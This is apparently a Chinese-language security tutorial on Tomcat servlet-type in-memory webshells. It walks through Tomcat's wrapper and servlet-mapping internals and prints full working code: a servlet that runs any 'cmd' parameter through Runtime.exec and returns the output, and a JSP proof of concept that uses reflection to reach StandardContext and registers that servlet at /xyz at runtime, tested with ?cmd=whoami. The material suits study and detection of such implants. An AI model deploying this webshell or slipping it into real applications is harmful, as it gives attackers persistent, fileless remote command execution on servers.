servlet型内存马
servlet
servlet的demo
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
// 添加路由
@WebServlet("/thaii")
public class ServletDemo implements Servlet
{
// 当 Servlet 第一次被创建对象时执行该方法,该方法在整个生命周期中只执行一次
public void init(ServletConfig arg0) throws ServletException
{
System.out.println("init");
}
// 对客户端响应的方法,该方法会被执行多次,每次请求该 servlet 都会执行该方法
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException
{
System.out.println("service");
}
// 当 Servlet 被销毁时执行该方法
public void destroy() {
System.out.println("destroy");
}
// 当停止 tomcat 时销毁 servlet。
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return null;
}
}
接着访问相应路由
localhost:8080/tomcatForHack_war_exploded/thaii
那么我们想要执行恶意代码,可以选择在service方法中写入rce代码
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
// 添加路由
@WebServlet("/thaii")
public class ServletDemo implements Servlet
{
// 当 Servlet 第一次被创建对象时执行该方法,该方法在整个生命周期中只执行一次
public void init(ServletConfig arg0) throws ServletException
{
System.out.println("init");
}
// 对客户端响应的方法,该方法会被执行多次,每次请求该 servlet 都会执行该方法
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException
{
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
// 当 Servlet 被销毁时执行该方法
public void destroy() {
System.out.println("destroy");
}
// 当停止 tomcat 时销毁 servlet。
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return null;
}
}
把它变成jsp
poc
SevletShell.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
class ServletDemo implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
//设置Servlet名等
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
//设置ServletMap
standardContext.addServletMapping("/xyz", "xyz");
out.println("inject servlet success!");
%>
http://localhost:8080/tomcatForHack_war_exploded/SevletShell.jsp?cmd=whoami
分析
概述
关于前面的jsp马的内容:一开始写一个servlet的恶意类,这个没啥(参考前面的ServletDemo)
接着是request获取StandardContext,参考我写在valve内存马那里的获取StandardContext
后面这部分仔细看
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
//设置Servlet名等
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
//设置ServletMap
standardContext.addServletMapping("/xyz", "xyz");
out.println("inject servlet success!");
观察后可以发现,主要是在修改StandardContext的Wrapper
Filter 中提到每一个 Context 是一个 Web 应用,而 Context 中可能存在多个 Wrapper 封装了请求。
StandardContextValve -- request.getWrapper --> StandardWrapperValve
我们调试
但是翻阅了文档,发现其实StandardContext.addChild()方法会先于上面这个createWrapper被调用。
(下面这个不是addChild,但是这里可以看到待会要说的children变量)
而当你关注StandardContext的基类ContainerBase时,会发现有个重要的变量:children,我们单步进入
children里面存储的也就是 StandardWrapper 对应的 web.xml 中的上半部分,类似 Filter 中的 FilterDef 。
StandardContext还有另一个重要的变量:servletMappings
另外,还可以看到 servletMappings 字段,包含了 servlet 的 name 和对应的 URL,即 web.xml 中的下半部分
结论:那么 Servlet 的内存马制作流程就是,先创建一个恶意的 Servlet ,用 Wrapper 将其包装后,放入到 StandardContext 的 children 中,然后将 Servlet 和 url 绑定,放入 ServletMappings 。
Servlet的生成和配置
如何创建servlet,重点还是在创建wrapper.
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper()
首先得有一个创建 Wapper 实例的东西,这里可以从 StandardContext.createWrapper() 获得一个 Wrapper 对象
探究配置过程,在 StandardWapper.setServletClass() 下断点,Debug 运行服务,看一下调用栈
关注configureContext
可以看到contextWebXml有读入xml
根据web.xml配置context
configureContext() 中依次读取了 Filter 、 Listener 、 Servlet 的配置及其映射,我们直接看 Servlet 部分
configureContext
使用 context 对象的 createWrapper() 方法创建了 Wapper 对象,然后设置了启动优先级 LoadOnStartUp ,以及 servlet 的 Name
接着配置了 Servlet
的 Class
最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加 Servlet-Mappe r 了(对应 web.xml 中的)
取出 web.xml 中所有配置的 Servlet-Mapping ,通过 context.addServletMappingDecoded() 将 url 路径和 servlet 类做映射。跟进到 addServletMappingDecoded() 方法的 StandardContext 类中,发现 addServletMappingDecoded() 和 addServletMapping() 是一样的,只不过后者是不建议使用(某些低版本的 Tomcat 可以尝试使用)
总结一下,Servlet 的生成与动态添加依次进行了以下步骤
- 通过 context.createWapper() 创建 Wapper 对象;
- 设置 Servlet 的 LoadOnStartUp 的值;
- 设置 Servlet 的 Name ;
- 设置 Servlet 对应的 Class ;
- 将 Servlet 添加到 context 的 children 中;
- 将 url 路径和 servlet 类做映射。
servlet装载
StandardContext.startInternal
可以看到加载完 Listener 和 Filter 之后才装载 Servlet 前面已经完成了将所有 servlet 添加到 context 的 children 中, this.findChildren() 即把所有 Wapper (负责管理 Servlet )传入 loadOnStartup() 中处理,可想而知 loadOnStartup() 就是负责动态添加 Servlet 的一个函数
可以看到这里获取所有 Wapper
跟进 StandardContext.loadOnStartup
首先获取 Context 下所有的 Wapper 类,并获取到每个 Servlet 的启动顺序,筛选出 >= 0 的项加载到一个存放 Wapper 的 list 中。
然后对每个 wapper 进行装载 装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作
加载内存马
通过上面分析,我们需要做下面的事情
-
在 StandardContext 的 children 属性中加入我们定义的 wrapper
-
在 servletMappingNames 属性中加入我们的 servlet 映射
-
设置 servlet 的 loadOnStartup 属性值大于 0
向children属性添加wrapper
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
// 设置 Servlet 名等
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
配置servlet-mapping
standardContext.addServletMapping("/xyz", "xyz");
最终就形成了上面的poc